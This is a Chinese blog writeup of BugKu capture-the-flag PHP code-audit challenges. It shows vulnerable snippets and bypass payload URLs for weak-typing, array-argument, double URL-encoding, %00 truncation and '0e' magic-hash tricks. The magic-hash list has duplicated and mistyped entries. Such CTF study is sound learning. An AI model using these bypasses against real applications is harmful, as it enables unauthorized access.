bugku-代码审计 writeup

原创

Peithon 于 2018-04-29 09:10:33 发布 5792 收藏 9

分类专栏： BugKu 文章标签： bugku 代码审计 十六进制与数字比较 数字验证正则绕过 弱类型整数大小比较绕过

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_39629343/article/details/80141021
版权

BugKu 专栏收录该内容
9 篇文章 2 订阅
订阅专栏

代码审计

在做bugku 代码审计的题时，发现有好多函数的绕过是之前没留意到的，记录一下

1.extract变量覆盖

题目地址:http://120.24.86.145:9009/1.php

```
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
```

`extract()` 使用参考:http://www.w3school.com.cn/php/func_array_extract.asp

解题方法:

GET请求 `?flag=&shiyan=` ， `extract()` 会将 `$flag` 和 `$gift` 的值覆盖了，将变量的值设置为空或者不存在的文件就满足 `$gift == $content`

PAYLOAD： `http://120.24.86.145:9009/1.php?flag=&shiyan=`

2.strcmp比较字符串

题目地址:http://120.24.86.145:9009/6.php

```
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0； 如果 str1大于 str2返回 > 0；如果两者相等，返回 0
。
//比较两个字符串（区分大小写）
die('Flag: '.$flag);
else
print 'No';
}
?>
```

PHP的`strcmp()`函数在PHP5.3版本之前使用数组可以绕过验证

`strcmp()`用法参考
函数期望传入的类型是字符串类型的数据，要是我们传入非字符串类型的数据的话，这个函数将发生错误，但是在5.3之前的php中，显示了报错的警告信息后，将return 0 。也就是说虽然报了错，但却判定其相等了，也就绕过了判断。

PAYLOAD:`http://120.24.86.145:9009/6.php?a[]=1`

3.urldecode二次编码绕过

题目地址:http://120.24.86.145:9009/10.php

```
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("

not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "

Access granted!
";
echo "

flag
";
}
?>
```

`eregi()是不区分大小写的正则匹配`

```
字符串比对解析。

语法: int eregi(string pattern, string string, array [regs]);

返回值: 整数/数组

函数种类: 资料处理
```

解题思路:将`hackerDJ`使用小葵进行两次URL编码

得到`%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41`

使用GET将id传进去

PAYLOAD: `http://120.24.86.145:9009/10.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41`

4.md5()函数

http://120.24.86.145:9009/18.php

```
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
```

`md5()`参考：http://www.w3school.com.cn/php/func_string_md5.asp

显然我们得构造`username`和`password`的值不相等，但是它们的md5的值相等才能得到flag

因为md5不能处理数组，可以使用数组绕过，md5(数组)会返回null，这样可以实现username!=password,但是md5(username)===md5(password)

PAYLOAD: `http://120.24.86.145:9009/18.php?username[]=1&password[]=2`

5.数组返回NULL绕过

题目地址：`http://120.24.86.145:9009/19.php`

```
<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
```

`strpos()`参考:http://www.w3school.com.cn/php/func_string_strpos.asp

解题思路1:根据正则表达式`ereg()`的限制,我们需要构造`password`的值里只有`^[a-zA-Z0-9]+$`，即至少有一个数字或大小写字母，不包含其他字符。但是`strpos()`需要匹配到`--`才能输出flag，所以我们需要绕过`strpos()`和`ereg()`函数,使用数组进行绕过。

```
ereg只能处理字符，而password是数组，所以返回的是null，三个等号的时候不会进行类型转换。所以null!==false。

strpos的参数同样不能够是数组，所以返回的依旧是null，null!==false也是正确。
```

PAYLOAD: `http://120.24.86.145:9009/19.php?password[]=1`

解题思路2: `ereg()` 可以进行%00截断，这样就能绕过正则匹配

PAYLOAD: `http://120.24.86.145:9009/19.php?password=1%00--`

6.弱类型整数大小比较绕过

题目地址:http://120.24.86.145:9009/22.php

```
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
```

`is_numeric()` 判断变量是否为数字或数字字符串

解题思路: `is_numeric()` 函数对于空字符%00，无论是%00放在前后都可以判断为非数值，而%20空格字符只能放在数值后。所以，查看函数发现该函数对于第一个空格字符会跳过空格字符判断，接着后面的判断

PAYLOAD: `http://120.24.86.145:9009/22.php?password=2345%20` 或者 `http://120.24.86.145:9009/22.php?password=2345%00`

7.sha()函数比较绕过

题目地址:http://120.24.86.145:9009/7.php

```
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "
";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo '

Your password can not be your name!
';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '

Invalid password.
';
}
else
echo '

Login first!
';
?>
```

解题思路：

第一处`if ($_GET['name'] == $_GET['password'])`判断时两数组确实是不同的，但在第二处`else if (sha1($_GET['name']) === sha1($_GET['password']))`判断时由于`sha1()`函数无法处理数组类型，将报错并返回`false`，`false === false`条件成立，这样就绕过了`sha()`函数获得flag

PAYLOAD:`http://120.24.86.145:9009/7.php?name[]=11&password[]=1`

8.md5加密相等绕过

题目地址:http://120.24.86.145:9009/13.php

```
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
```

PHP在处理哈希字符串时，会利用"!="或"=="来对哈希值进行比较，它把每一个以"0E"开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以"0E"开头的，那么PHP将会认为他们相同，都是0。

解题思路:

构造`$a != 'QNKCDZO' && $md51 == $md52`，使用下面的PAYLOAD

```
常见的payload:
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
```

```
0e5093672134182067008420087635l4

0e8615801632915612474043813960640

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e48103649086766111326003490075 2

s155964671a
0e34276841682245152497411725446 9

s1184209335a
0e07248582039277338952310908203 0

s1665632922a
0e73119806149116307319712836378 7

s1502113478a
0e8615801632915612474043813960640

s1836677006a
0e48103649086766111326003490075 2

s1091221200a
0e940624217856561557816327384675

s155964671a
0e34276841682245152497411725446 9

s1502113478a
0e8615801632915612474043813960640

s155964671a
0e34276841682245152497411725446 9

s1665632922a
0e73119806149116307319712836378 7

s155964671a
0e34276841682245152497411725446 9

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e48103649086766111326003490075 2

s1885207154a
0e509367213418206700842008763514

s532378020a
0e22046309585551150758804120581 5

s878926199a
0e54599327451770903432885584102 0

s1091221200a
0e940624217856561557816327384675
```

```
s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020
```

PAYLOAD: `http://120.24.86.145:9009/13.php?a=240610708`

9.十六进制与数字比较

题目地址：http://120.24.86.145:9009/20.php

```php
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
```

定义和用法

ord() 函数返回字符串的首个字符的 ASCII 值。

`ord()` 参考：http://www.w3school.com.cn/php/func_string_ord.asp

在线进制转换：https://tool.lu/hexconvert/

解题思路：将 `3735929054` 进行十六进制转换，得到 `deadc0de` ,在转换得到的字符前加上 `0x` ,使用 `0xdeadc0de` 来进行绕过

PAYLOAD： `http://120.24.86.145:9009/20.php?password=0xdeadc0de`

10.ereg正则%00截断

题目地址:http://120.24.86.145:9009/5.php

```
<?php
$flag = "xxx";
if (isset($_GET['password'])) {
    if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
        echo 'You password must be alphanumeric';
    } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) {
        if (strpos($_GET['password'], '-') !== FALSE) //strpos – 查找字符串首次出现的位置
        {
            die('Flag: ' . $flag);
        } else {
            echo (' -have not been found');
        }
    } else {
        echo 'Invalid password';
    }
}
?>
```

解法一:使用数组绕过

PAYLOAD: `http://120.24.86.145:9009/5.php?password[]=1000000000`

解法二:使用ereg()null截断漏洞，再使用科学计数法来构造 `strlen($_GET['password']) < 8 && $_GET['password']> 9999999` 这个条件，即1000000000用1e9来表示，在加上 `-` 来构造满足 `strpos()``函数，于是构造` ?password=1e9%00*-*

PAYLOAD: `http://120.24.86.145:9009/5.php?password=1e9%00*-*`

11.strpos数组绕过

题目地址：http://120.24.86.145:9009/15.php

```
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年，继续努力吧啊~';
}
?>
```

解题思路：使用数组进行绕过

PAYLOAD：`http://120.24.86.145:9009/15.php?ctf[]=#biubiubiu`

12.数字验证正则绕过

题目地址：http://120.24.86.145:9009/21.php

```
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match – 执行一个正则表达式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3，必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
```

解题思路:

这题直接POST一个password的参数过去就能过，而且值只要在12位以下都能拿到flag

PAYLOAD:

```
URL:http://120.24.86.145:9009/21.php

POST:password=
```